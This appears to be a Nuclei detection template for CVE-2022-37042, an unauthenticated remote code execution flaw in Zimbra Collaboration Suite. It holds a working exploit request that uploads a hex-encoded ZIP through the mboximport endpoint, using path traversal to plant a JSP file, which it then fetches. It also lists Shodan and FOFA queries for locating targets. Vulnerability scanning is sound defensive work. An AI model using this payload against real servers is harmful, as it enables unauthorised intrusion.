nuclei-templates/cves/2022/CVE-2022-37042.yaml

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id: CVE-2022-37042
info:
name: Zimbra Collaboration Suite - Unauthenticated RCE
author: _0xf4n9x_,For3stCo1d
severity: critical
description: |
Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925.
reference:
- https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
- https://nvd.nist.gov/vuln/detail/CVE-2022-37042
- https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
- https://github.com/vnhacker1337/CVE-2022-27925-PoC
metadata:
shodan-query: http.favicon.hash:"1624375939"
fofa-query: app="zimbra-邮件系统"
tags: cve,cve2022,zimbra,rce,unauth
requests:
- raw:
- |
POST {{path}} HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
{{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
- |
GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
- /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
stop-at-first-match: true
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 401'
- 'status_code_2 == 200'
- "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
condition: and